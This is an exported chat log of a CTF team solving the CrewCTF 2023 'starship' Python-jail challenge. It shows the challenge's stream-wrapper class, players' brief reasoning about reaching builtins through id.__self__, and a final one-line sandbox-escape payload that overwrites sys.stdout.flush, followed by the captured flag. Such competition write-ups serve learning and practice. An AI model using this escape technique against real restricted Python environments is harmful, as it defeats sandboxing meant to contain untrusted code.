Project Sekai - ✅-misc-starship

Project Sekai

🔒 CrewCTF 2023 / ✅-misc-starship

starship - 1000 points

Category: Misc Description: I have so many blacklist Author : st4rn nc starship.chal.crewc.tf 40002 Files:

https://crewc.tf/files/b2764697bb5e022fa1ec89095e89db17/dist.rar?token=eyJ1c2VyX2lkIjoyMSwidGVhbV9pZCI6MTYsImZpbGVfaWQiOjI4fQ.ZKjt7A.Otca_fiAvbXYsnH-P2NjzFmGMrE

Tags: No tags.

Sutx pinned a message to this channel. 07/07/2023 10:02 PM

@unpickled admin bot wants to collaborate

@Violin wants to collaborate

class Nobuffers:
    def __init__(self, stream, limit=1024):
        self.stream = stream
        self.limit = limit

    def write(self, data):
        if len(data) > self.limit:
            raise ValueError(f"Data exceeds the maximum limit of {self.limit} characters")
        self.stream.write(data)
        self.stream.flush()

    def writelines(self, datas):
        datas = [f"{data}\n" for data in datas if len(data) <= self.limit]
        self.stream.writelines(datas)
        self.stream.flush()

    def __getattr__(self, attr):
        return getattr(self.stream, attr)

02:50

we cant fucking init this so no getattr? (edited)

02:54

oh

02:55

we have builtins

02:55

oooooh

02:55

we could prob use sys.modules

02:58

chr.__self__ to get builtins, but anything from there is annoying (edited)

02:58

but calling is a lil hard

03:03

looking for a way to setattr rn

03:09

oh wait

03:09

for loops im dumb

03:15

ok just need the string now

(now trying to get an int)

wtf

03:45

where are the ints

03:46

or adding

03:46

adding would be great too

o we need to unpoack

03:59

im dum

[id for sys.stdout.flush in [id.__self__.__dict__[mA] for aA,bA,cA,dA,eA,fA,gA,hA,iA,jA,kA,lA,mA,nA,oA,pA,qA,rA,sA,tA,uA,vA,wA,xA,yA,zA,aB,bB,cB,dB,eB,fB,gB,hB,iB,jB,kB,lB,mB,nB,oB,pB,qB,rB,sB,tB,uB,vB,wB,xB,yB,zB,aC,bC,cC,dC,eC,fC,gC,hC,iC,jC,kC,lC,mC,nC,oC,pC,qC,rC,sC,tC,uC,vC,wC,xC,yC,zC,aD,bD,cD,dD,eD,fD,gD,hD,iD,jD,kD,lD,mD,nD,oD,pD,qD,rD,sD,tD,uD,vD,wD,xD,yD,zD,aE,bE,cE,dE,eE,fE,gE,hE,iE,jE,kE,lE,mE,nE,oE,pE,qE,rE,sE,tE,uE,vE,wE,xE,yE,zE,aF,bF,cF,dF,eF,fF,gF,hF,iF,jF,kF,lF,mF,nF,oF,pF,qF,rF,sF,tF,uF,vF,wF,xF,yF,zF,aG in [id.__self__.__dict__]]]

04:17

local payload

unpickled admin bot

used /ctf solve

✅ Challenge solved.

crew{Welc0m3_t0_th15_V3ry_SpEci4l_5t4rsh1P_f97ee432d68b314d7050665ed119cea8}

04:21

ok i go slep now

unpickled admin bot

[id for sys.stdout.flush in [id.__self__.__dict__[mA] for aA,bA,cA,dA,eA,fA,gA,hA,iA,jA,kA,lA,mA,nA,oA,pA,qA,rA,sA,tA,uA,vA,wA,xA,yA,zA,aB,bB,cB,dB,eB,fB,gB,hB,iB,jB,kB,lB,mB,nB,oB,pB,qB,rB,sB,tB,uB,vB,wB,xB,yB,zB,aC,bC,cC,dC,eC,fC,gC,hC,iC,jC,kC,lC,mC,nC,oC,pC,qC,rC,sC,tC,uC,vC,wC,xC,yC,zC,aD,bD,cD,dD,eD,fD,gD,hD,iD,jD,kD,lD,mD,nD,oD,pD,qD,rD,sD,tD,uD,vD,wD,xD,yD,zD,aE,bE,cE,dE,eE,fE,gE,hE,iE,jE,kE,lE,mE,nE,oE,pE,qE,rE,sE,tE,uE,vE,wE,xE,yE,zE,aF,bF,cF,dF,eF,fF,gF,hF,iF,jF,kF,lF,mF,nF,oF,pF,qF,rF,sF,tF,uF,vF,wF,xF,yF,zF,aG in [id.__self__.__dict__]]]

this worked on remote

Exported 29 message(s)